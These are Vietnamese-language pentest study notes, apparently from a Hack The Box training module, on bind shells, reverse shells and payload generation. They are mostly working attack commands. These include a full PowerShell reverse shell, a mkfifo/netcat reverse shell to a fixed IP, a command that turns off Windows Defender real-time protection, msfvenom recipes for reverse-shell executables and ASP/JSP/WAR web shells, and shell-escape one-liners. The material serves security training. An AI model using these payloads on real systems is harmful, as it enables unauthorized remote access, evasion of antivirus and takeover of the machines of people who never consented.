Shell — Bind Shell, Reverse Shell & Payloads
So sánh nhanh: Bind Shell vs Reverse Shell
| Tiêu chí | Bind Shell | Reverse Shell |
|---|---|---|
| Ai mở listener? | Target | Attacker |
| Ai kết nối vào? | Attacker → Target | Target → Attacker |
| Hướng traffic | Inbound vào target | Outbound từ target |
| Firewall | Dễ bị chặn | Khó bị chặn hơn |
| Thực tế | Ít dùng | Phổ biến hơn |
1
2
Bind Shell : Attacker ──────────→ Target (target listen)
Reverse Shell: Attacker ←────────── Target (attacker listen)
Kết nối từ xa
| Lệnh | Mô tả |
|---|---|
xfreerdp /v:<IP> /u:htb-student /p:HTB_@cademy_stdnt! | Kết nối Windows target qua RDP |
env | Xem biến môi trường, xác định shell đang dùng |
Bind Shell
Flow: Target mở listener → Attacker kết nối vào → Inbound → Dễ bị firewall chặn
Bước 1 — Target mở listener:
1
nc -lvnp 7777
Bước 2 — Attacker kết nối vào:
1
nc -nv <TARGET_IP> 7777
Lệnh trên chỉ tạo TCP session — gõ text qua lại được nhưng chưa có shell thật.
Bước 3 — Bind bash thật vào TCP (chạy trên target):
1
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l <TARGET_IP> 7777 > /tmp/f
Bước 4 — Attacker kết nối vào để lấy shell:
1
nc -nv <TARGET_IP> 7777
Tại sao phải dùng mkfifo?
ncchỉ vận chuyển data thô — muốn thực thi lệnh phải pipe qua/bin/bash.mkfifotạo named pipe 2 chiều để data đi vào bash và output trả về được.
Reverse Shell
Flow: Attacker mở listener → Target tự kết nối ra → Outbound → Khó bị firewall chặn hơn
Bước 1 — Attacker mở listener:
1
sudo nc -lvnp 443
Windows Defender sẽ block payload này. Disable trước bằng PowerShell (quyền Administrator):
1 Set-MpPreference -DisableRealtimeMonitoring $true
Bước 2 — Chạy payload trên target (Windows — PowerShell):
1
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Bước 2 — Chạy payload trên target (Linux):
1
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.16.201 7777 > /tmp/f
Tại sao dùng port 443? Port 443 = HTTPS → firewall gần như không bao giờ block outbound 443. Tuy nhiên firewall có Deep Packet Inspection (Layer 7) vẫn có thể detect.
Living off the Land: Netcat không có sẵn trên Windows → dùng PowerShell vì native trên mọi Windows. Nguyên tắc: dùng tool có sẵn trên target, không cần upload tool mới.
MSFvenom — Staged vs Stageless
| Tiêu chí | Staged | Stageless |
|---|---|---|
| Nhận biết | Tên có / giữa: shell/reverse_tcp | Viết liền: shell_reverse_tcp |
| Cơ chế | Gửi stage nhỏ trước → kéo phần còn lại | Gửi toàn bộ payload một lần |
| File size | Nhỏ hơn → AV scan file khó detect | Lớn hơn → AV scan file dễ detect |
| Network | Nhiều traffic → IDS dễ bắt | Ít traffic → network detection khó hơn |
Chọn cái nào?
- Staged → tốt hơn khi bypass file-based AV (file nhỏ, ít bị scan)
- Stageless → tốt hơn khi bypass network detection (ít traffic, phù hợp social engineering)
- Không cái nào tốt hơn hoàn toàn — tùy môi trường mục tiêu
Tạo Payload theo OS
1
2
3
4
5
6
7
8
# Linux
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=443 -f elf > shell.elf
# Windows
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=443 -f exe > shell.exe
# MacOS
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=443 -f macho > shell.macho
Web Shells
1
2
3
4
5
6
7
8
# ASP (Windows IIS)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=443 -f asp > shell.asp
# JSP (Java server)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=443 -f raw > shell.jsp
# WAR (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=443 -f war > shell.war
Spawn Interactive Shell (Linux)
Dùng khi có shell nhưng không interactive (không có TTY).
1
2
3
4
5
6
7
8
python -c 'import pty; pty.spawn("/bin/sh")' # Python
/bin/sh -i # Trực tiếp
perl -e 'exec "/bin/sh";' # Perl
ruby -e 'exec "/bin/sh"' # Ruby
lua -e 'os.execute("/bin/sh")' # Lua
awk 'BEGIN {system("/bin/sh")}' # Awk
find . -exec /bin/sh \; -quit # Find
vim -c ':!/bin/sh' # Vim
Web Shells — Vị trí trên Pwnbox/ParrotOS
| Path | Loại |
|---|---|
/usr/share/webshells/laudanum | Laudanum web shells |
/usr/share/nishang/Antak-WebShell | Antak web shell (PowerShell) |
Linux Recon sau khi có Shell
1
2
ls -la <path> # Liệt kê file + permission
sudo -l # Xem lệnh nào được chạy với sudo
Sau khi có shell mới: luôn chạy
sudo -lvà kiểm tra SUID binaries — cơ hội leo quyền!